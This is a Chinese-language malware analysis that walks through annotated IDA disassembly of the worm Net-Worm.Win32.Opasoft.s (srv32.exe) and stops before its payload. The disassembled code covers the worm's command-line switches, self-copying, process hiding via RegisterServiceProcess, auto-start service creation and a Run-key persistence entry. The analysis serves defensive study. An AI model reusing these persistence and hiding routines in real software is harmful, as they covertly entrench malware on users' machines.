文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具:   IDA 4.5.1, OllyDbg V1.10

脱壳,用IDA反汇编,到程序的开始位置:

CODE:00401000 start           proc near
CODE:00401000                 enter   314h, 0
CODE:00401004                 lea     eax, [ebp+ExistingFileName] ; 存储病毒路径+名称
CODE:0040100A                 push    100h            ; nSize
CODE:0040100F                 push    eax             ; lpFilename
CODE:00401010                 push    0               ; hModule
CODE:00401012                 call    GetModuleFileNameA ; 获得病毒的路径名称
CODE:00401017                 call    GetCommandLineA
CODE:0040101C                 mov     esi, eax

;程序首先调用GetModuleFileNameA和GetCommandLineA得到程序所在路径,文件名称和参数信息。


CODE:0040101E                 cld
CODE:0040101F                 mov     ah, 20h
CODE:00401021                 lodsb                   
;把DS:[ESI]指向的字节存到AL中,即第一个字符,这里ESI指向命令行字符串

CODE:00401022                 cmp     al, 22h         ; 比较ESI指向的第一个字符是否是:双引号
CODE:00401024                 jnz     short loc_401028 ; 在这里没有跳转
CODE:00401026                 mov     ah, al

CODE:00401028 loc_401028:
CODE:00401028                 lodsb
CODE:00401029                 test    al, al
CODE:0040102B                 jz      short loc_40105C ; 判断是否到命令行字符串的结束符
CODE:0040102D                 cmp     al, ah          ; 比较
CODE:0040102F                 jnz     short loc_401028

;找下一个 双引号 出现的位置,即定位到命令行的程序名称末尾,再往后可能就是参数了

CODE:00401031 loc_401031:     lodsb
CODE:00401032                 test    al, al          ; 判断是否到命令行字符串的结束符
CODE:00401034                 jz      short loc_40105C
CODE:00401036                 cmp     al, 20h
CODE:00401038                 jz      short loc_401031

;取第二此出现双引号以后的第一个非空格字符,当然是参数了

CODE:0040103A                 and     al, 0DFh        ; 小写字母转换成大写字母
CODE:0040103C                 cmp     al, 55h         ; 命令行参数-'U'
CODE:0040103E                 jz      loc_401107
CODE:00401044                 cmp     al, 44h         ; 参数'D'
CODE:00401046                 jz      loc_401165
CODE:0040104C                 cmp     al, 43h         ; 参数'C'
CODE:0040104E                 jz      loc_401170
CODE:00401054                 cmp     al, 53h         ; 参数'S'
CODE:00401056                 jz      loc_4011DA

;把参数转换成大写,跳到相应的处理代码,如果没有参数就继续执行,我们先看有参数的情况
先来看参数U吧,用OllyDbg打开Srv32.exe,选择菜单调试->参数,加上参数u,找到loc_401107,按F4执行到:

CODE:00401107 loc_401107:
CODE:00401107                 push    esi             ;耶,怎么用ESI,esi已经指向命令行字符串的末尾
了啊?先不管看看下面做什么操作
CODE:00401108                 call    sub_40132B      ;调用了个子程序进去看看
CODE:0040110D                 lea     eax, [ebp+ExistingFileName]
CODE:00401113                 push    0               ; bFailIfExists
CODE:00401115                 push    esi             ; lpNewFileName
CODE:00401116                 push    eax             ; lpExistingFileName
CODE:00401116                                         ; 病毒路径+名称
CODE:00401117                 call    CopyFileA
CODE:0040111C                 test    eax, eax


CODE:0040132B sub_40132B      proc near
CODE:0040132F loc_40132F:
CODE:0040132F                 push    [ebp+lpFileName] ;?这里的文件名为空(PUSH ESI)
CODE:00401332                 call    DeleteFileA  ;删除文件,文件名为空,搞什么鬼
CODE:00401337                 test    eax, eax
CODE:00401339                 jnz     short locret_401351 ;DeleteFileA成功退出Sub_40132B
CODE:0040133B                 call    GetLastError    ;在这里我们返回值为3(系统找不到指定的路径)
CODE:00401340                 cmp     eax, 2          ; 找不到指定文件
CODE:00401343                 jz      short locret_401351 ; 退出
CODE:00401345                 push    3E8h            ; dwMilliseconds
CODE:0040134A                 call    Sleep
CODE:0040134F                 jmp     short loc_40132F ;程序在这里一直循环,难道是BUG,不会吧?
CODE:00401351 locret_401351:                          
CODE:00401351                 leave
CODE:00401352                 retn    4
CODE:00401352 sub_40132B      endp

;sub_40132B是一段删除文件的操作,而文件名就是[esi],看来参数U后面还得加上个文件名,我们把参数改成
uabc.txt,继续往下看
从sub_40132B出来:

CODE:0040110D                 lea     eax, [ebp+ExistingFileName]
CODE:00401113                 push    0               ; bFailIfExists
CODE:00401115                 push    esi             ; lpNewFileName
CODE:00401116                 push    eax             ; lpExistingFileName
CODE:00401116                                         ; 病毒路径+名称
CODE:00401117                 call    CopyFileA
CODE:0040111C                 test    eax, eax
CODE:0040111E                 jz      loc_401218      ; CopyFile失败跳转

把病毒拷贝到新的路径,哦,U后面的参数是拷贝病毒的位置和新的名字,如果这个新的路径有这个文件就~~~~~
~~调用sub_40132B函数删除这个文件(真狠啊!)
现在知道sub_40132B的作用了,好咱们继续往下走。

CODE:00401124                 lea     edi, [ebp+var_300]
CODE:0040112A                 push    esi
CODE:0040112B                 push    edi
CODE:0040112C                 call    lstrcpy         ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131                 push    edi
CODE:00401132                 call    lstrlen
CODE:00401137                 add     edi, eax
CODE:00401139                 mov     ax, 4420h
CODE:0040113D                 stosw                   ; 存储0x4420
CODE:0040113F                 lea     eax, [ebp+ExistingFileName]
CODE:00401145                 push    eax
CODE:00401146                 push    edi
CODE:00401147                 call    lstrcpy
CODE:0040114C                 lea     eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152                 push    eax
CODE:00401153                 call    sub_4013A8      ; 这个函数创建了一个进程
CODE:00401158                 test    eax, eax        ; eax为CreateProcessA返回值
CODE:0040115A                 jnz     locret_40123C   ; 创建进程成功跳转,执行新进程,退出此程序
CODE:00401160                 jmp     loc_401218

这段代码中srv32通过调用CreateProcess创建了一个进程,新进程的执行文件就是上面CopyFile函数拷贝出的
srv32的一个拷贝。
如果创建进程成功就执行新的进程,退出srv32;否则跳转到如下位置:

CODE:00401218 loc_401218:
CODE:00401218                 push    offset aKernel32_dll ; lpModuleName
CODE:0040121D                 call    GetModuleHandleA
CODE:00401222                 push    offset aRegisterservic ; lpProcName
CODE:00401227                 push    eax             ; hModule
CODE:00401228                 call    GetProcAddress  ; 获得RegisterServiceProcess(Win9x函数)地址
CODE:0040122D                 test    eax, eax
CODE:0040122F                 jz      short loc_401237
CODE:00401231                 push    1               ; dwType:
CODE:00401231                                         ; RSP_SIMPLE_SERVICE = 1 隐藏进程
CODE:00401231                                         ; RSP_UNREGISTER_SERVICE = 0 取消进程隐藏
CODE:00401231                                         ; 
CODE:00401233                 push    0               ; dwPID = NULL 代表当前进程
CODE:00401235                 call    eax             ; 调用RegisterServiceProcess函数
CODE:00401237 
CODE:00401237 loc_401237:
CODE:00401237                 call    sub_40123E
CODE:0040123C 
CODE:0040123C locret_40123C:
CODE:0040123C                 leave
CODE:0040123D                 retn
CODE:0040123D start           endp

;如果创建进程没有成功,调用RegisterServiceProcess函数来隐藏进程,最后调用sub_40123E。

;注:RegisterServiceProcess 是Win9x中一个未公开的API函数,调用时需要通过GetProcAddress得到其地址,
;参数dwType为1时隐藏进程,为1时取消隐藏,参数dwPID为进程的PID,为零则表示当前进程。


再看下一个参数'D':

CODE:00401165 loc_401165:
CODE:00401165                 push    esi
CODE:00401166                 call    sub_40132B
CODE:0040116B                 jmp     loc_401218
;和参数 'U' 一样也调用了sub_40132B,只是少了CopyFile的动作,直接跳转到了RegisterServiceProcess
;看来D就是用来删除指定文件的



继续参数'C':

:00401170 loc_401170:
CODE:00401170                 call    sub_401355      ; 调用了GetProcAddress得到OpenSCManager..
                                                      ;等函数的地址
CODE:00401175                 test    eax, eax        ; 返回1函数 Sub_401355调用成功,0失败。
CODE:00401177                 jz      loc_401218      ; 失败则跳转

;用参数'C'时,调用了下面的函数sub_401355

CODE:00401355 sub_401355      proc near
CODE:00401355 hModule         = dword ptr -8
CODE:00401355 var_4           = dword ptr -4
CODE:00401355                 enter   8, 0
CODE:00401359                 push    edi
CODE:0040135A                 mov     [ebp+var_4], 0
CODE:00401361                 push    offset aAdvapi32 ; lpLibFileName
CODE:00401366                 call    LoadLibraryA
CODE:0040136B                 test    eax, eax
CODE:0040136D                 jz      short loc_4013A2 ; 调用LoadLibrary失败时跳转
CODE:0040136F                 mov     [ebp+hModule], eax
CODE:00401372                 mov     edi, offset aOpenscmanagera ; "OpenSCManagerA"
CODE:00401377                 mov     esi, offset dword_406193
CODE:0040137C 
CODE:0040137C loc_40137C:
CODE:0040137C                 push    edi             ; lpProcName
CODE:0040137D                 push    [ebp+hModule]   ; hModule
CODE:00401380                 call    GetProcAddress  ; 获得函数Advapi32!OpenSCManagerA的地址
CODE:00401385                 test    eax, eax
CODE:00401387                 jz      short loc_4013A2 ; 调用GetProcAddress 失败时跳转
CODE:00401389                 mov     [esi], eax      ; 把OpenSCManager的地址存到[ESI]中
CODE:0040138B                 add     esi, 4
CODE:0040138E                 xor     eax, eax
CODE:00401390                 xor     ecx, ecx
CODE:00401392                 not     ecx
CODE:00401394                 repne scasb
CODE:00401396                 cmp     byte ptr [edi], 0
CODE:00401399                 jnz     short loc_40137C ; 循环,取
CODE:00401399                                   ; 00406127 aCreateservicea db 'CreateServiceA'
CODE:00401399                                   ; 00406136 aCloseserviceha db 'CloseServiceHandle'
CODE:00401399                                   ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA'
CODE:00401399                                   ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA'
CODE:00401399                                   ; 00406181 aSetservicestat db 'SetServiceStatus',0
CODE:00401399                                         ; 函数的地址
CODE:0040139B                 mov     [ebp+var_4], 1  ; 修改返回值
CODE:004013A2 
CODE:004013A2 loc_4013A2:
CODE:004013A2                 mov     eax, [ebp+var_4] ; 成功返回值1,失败返回0
CODE:004013A5                 pop     edi
CODE:004013A6                 leave
CODE:004013A7                 retn
CODE:004013A7 sub_401355      endp

;函数sub_401355 又调用了API函数LoadLibrary("Advapi32")得到Advapi32的模块句柄,然后又循环调用了
GetProcAddress 得到OpenSCManagerA, CreateServiceA, CloseServiceHandle, 
StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatus这些函数的地址。
然后就调用OpenSCManager,CreateServiceA,创建一个服务srv32指向srv32程序,启动参数为'S'
如下代码:

CODE:0040117D                 push    2
CODE:0040117F                 push    0               ; SERVICES_ACTIVE_DATABASE
CODE:00401181                 push    0               ; LocalMachine
CODE:00401183                 call    ds:dword_406193 ; OpenSCManager函数
CODE:00401189                 test    eax, eax
CODE:0040118B                 jz      loc_401218      ; OpenSCManager失败则跳转
CODE:00401191                 mov     esi, eax        ; handle of service control manager database
CODE:00401193                 lea     edi, [ebp+ExistingFileName] ; 病毒路径+文件名
CODE:00401199                 push    edi
CODE:0040119A                 call    lstrlen         ; (病毒路径+文件名)的长度
CODE:0040119F                 mov     edx, edi
CODE:004011A1                 add     edi, eax
CODE:004011A3                 mov     eax, 5320h
CODE:004011A8                 stosd                   ; 存储0x5320h = " S"
CODE:004011A9                 xor     ecx, ecx
CODE:004011AB                 push    ecx
CODE:004011AC                 push    ecx
CODE:004011AD                 push    ecx
CODE:004011AE                 push    ecx
CODE:004011AF                 push    ecx
CODE:004011B0                 push    edx             ; "ExistingFileName" + " S"
CODE:004011B1                 push    1               ; dwErrorControl = SERVICE_ERROR_NORMAL
CODE:004011B3                 push    2               ; dwStartType = SERVICE_AUTO_START 
CODE:004011B3                                         ; 自动启动
CODE:004011B5                 push    10h             ; dwServiceType =
CODE:004011B5                                         ; SERVICE_WIN32_OWN_PROCESS
CODE:004011B7                 push    0F01FFh         ; dwDesiredAccess
CODE:004011BC                 push    offset aSrv32_0 ; lpDisplayName = "srv32"
CODE:004011C1                 push    offset aSrv32_0 ; lpServiceName = "srv32"
CODE:004011C6                 push    esi             ; handle of service control manager database
CODE:004011C7                 call    ds:dword_406197 ; CreateServiceA函数
CODE:004011CD                 test    eax, eax
CODE:004011CF                 jz      short loc_401218
CODE:004011D1                 push    eax
CODE:004011D2                 call    ds:dword_40619B ; CloseServiceHandle函数
CODE:004011D8                 jmp     short loc_401218

;最后跳转到loc_401218调用RegsterServiceProcess隐藏进程,再调用sub_40123E


再看参数'S':

CODE:004011DA loc_4011DA:
CODE:004011DA                 call    sub_401355
CODE:004011DF                 test    eax, eax
CODE:004011E1                 jz      short loc_401218 ; 函数sub_401355失败跳转
CODE:004011E3                 mov     [ebp+var_314], offset aSrv32_0 ; "Srv32"
CODE:004011ED                 mov     [ebp+var_310], offset loc_401467
CODE:004011F7                 xor     eax, eax
CODE:004011F9                 mov     [ebp+var_30C], eax
CODE:004011FF                 mov     [ebp+var_308], eax
CODE:00401205                 lea     eax, [ebp+var_314]
CODE:0040120B                 push    eax
CODE:0040120C                 call    ds:dword_40619F ; StartServiceCtrlDispatcherA
CODE:00401212                 test    eax, eax
CODE:00401214                 jnz     short locret_40123C ; StartServiceCtrlDispatcherA调用成功跳转
CODE:00401216                 jmp     short loc_401218

同样也调用了函数sub_401355来得到OpenSCManager, StartServiceCtrlDispatcherA等函数的地址,随后调用
StartServiceCtrlDispatcherA(这个函数应该是来启动有参数'C'创建的服务的,具体大家还是看一下MSDN吧。)
如果启动服务失败就隐藏进程后调用sub_40123E。

上面都是一些加了参数的启动方式,但是一般病毒第一次启动时可能是没有参数的,因为第一次启动最可能就是
不小心双击了被感染程序,所以我们再看看没有参数时srv32的启动过程是什么样子的。


CODE:0040105C loc_40105C:
CODE:0040105C                 call    GetVersion
CODE:00401061                 bt      eax, 1Fh        ; 测试最高位(31 bit)是否为1,1为win9x平台
CODE:00401065                 jnb     loc_401218      ; 0为NT平台,最高位为0(CF = 0)时跳转,
CODE:00401065                                         ; 也就是系统为NT平台时跳转到loc_401218执行
CODE:00401065                                         ; RegisterServiceProcess隐藏进程
CODE:0040106B                 lea     edi, [ebp+ExistingFileName]

首先调用GetVersion API函数得到操作系统平台信息,如果为NT平台跳转到loc_401218,再调用sub_40123E。
如果为9x平台,继续往下执行...


CODE:0040106B                 lea     edi, [ebp+ExistingFileName]
CODE:00401071                 push    edi
CODE:00401072                 call    lstrlen         ; 计算文件名+路径的长度
CODE:00401077                 mov     ecx, eax
CODE:00401079                 add     edi, eax
CODE:0040107B                 dec     edi
CODE:0040107C                 mov     al, 5Ch
CODE:0040107E                 std
CODE:0040107F                 repne scasb
CODE:00401081                 cld
CODE:00401082                 add     edi, 2          ; 定位文件名
CODE:00401085                 push    offset aNew_exe ; "new.exe"
CODE:0040108A                 push    edi
CODE:0040108B                 call    lstrcmpi        ; 不区分大小写比较
CODE:00401090                 test    eax, eax
CODE:00401092                 jnz     loc_401218      ; 文件名不是"new.exe"则跳转

这里不知道为什么和"new.exe"比较???
我得文件名是srv32.exe当然就跳转的loc_401218然后调用sub_40123E,
如果文件名是new.exe则执行下面的代码

CODE:00401098                 lea     esi, [ebp+Buffer]
CODE:0040109E                 push    100h            ; uSize
CODE:004010A3                 push    esi             ; lpBuffer
CODE:004010A4                 call    GetWindowsDirectoryA
CODE:004010A9                 push    esi
CODE:004010AA                 call    lstrlen
CODE:004010AF                 add     eax, esi
CODE:004010B1                 push    offset aSrv32_exe ; "\\Srv32.exe"
CODE:004010B6                 push    eax
CODE:004010B7                 call    lstrcpy
CODE:004010BC                 lea     eax, [ebp+hKey]
CODE:004010C2                 push    eax             ; phkResult
CODE:004010C3                 push    3               ; samDesired
CODE:004010C5                 push    0               ; ulOptions
CODE:004010C7                 push    offset aSoftwareMicros ; lpSubKey
CODE:004010CC                 push    80000002h       ; HKLM
CODE:004010D1                 call    RegOpenKeyExA
CODE:004010D6                 cmp     eax, 0
CODE:004010D9                 jnz     loc_401218
CODE:004010DF                 push    esi
CODE:004010E0                 call    lstrlen
CODE:004010E5                 inc     eax
CODE:004010E6                 push    eax             ; cbData
CODE:004010E7                 push    esi             ; lpData
CODE:004010E8                 push    1               ; dwType
CODE:004010EA                 push    0               ; Reserved
CODE:004010EC                 push    offset aSrv32   ; lpValueName
CODE:004010F1                 push    [ebp+hKey]      ; hKey
CODE:004010F7                 call    RegSetValueExA
CODE:004010FC                 push    [ebp+hKey]      ; hKey
CODE:00401102                 call    RegCloseKey

写注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项,用处不用说了吧^_^


CODE:00401107 
CODE:00401107 loc_401107:
CODE:00401107                 push    esi             ; 指定病毒被复制到的路径和文件名,用参数U
CODE:00401108                 call    sub_40132B      ; 删除指定文件
CODE:0040110D                 lea     eax, [ebp+ExistingFileName]
CODE:00401113                 push    0               ; bFailIfExists
CODE:00401115                 push    esi             ; lpNewFileName
CODE:00401116                 push    eax             ; lpExistingFileName
CODE:00401116                                         ; 病毒路径+名称
CODE:00401117                 call    CopyFileA
CODE:0040111C                 test    eax, eax
CODE:0040111E                 jz      loc_401218      ; CopyFile失败跳转

把srv32复制到windows目录下

CODE:00401124                 lea     edi, [ebp+var_300]
CODE:0040112A                 push    esi
CODE:0040112B                 push    edi
CODE:0040112C                 call    lstrcpy         ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131                 push    edi
CODE:00401132                 call    lstrlen
CODE:00401137                 add     edi, eax
CODE:00401139                 mov     ax, 4420h
CODE:0040113D                 stosw                   ; 存储0x4420 = " D"
CODE:0040113F                 lea     eax, [ebp+ExistingFileName]
CODE:00401145                 push    eax
CODE:00401146                 push    edi
CODE:00401147                 call    lstrcpy
CODE:0040114C                 lea     eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152                 push    eax
CODE:00401153                 call    sub_4013A8      ; 这个函数创建了一个进程
CODE:00401158                 test    eax, eax        ; eax为CreateProcessA返回值
CODE:0040115A                 jnz     locret_40123C   ; 创建进程成功跳转,执行新进程,退出此程序
CODE:00401160                 jmp     loc_401218

然后创建一个进程,带参数'D'执行,参数'd'后面跟的是srv32.exe ,即执行windows目录下的程序后,删除自
身,最后也是跳转到loc_401218,再调用sub_40123E

到这里srv32的前期工作已经做好了,下面就快搞破坏了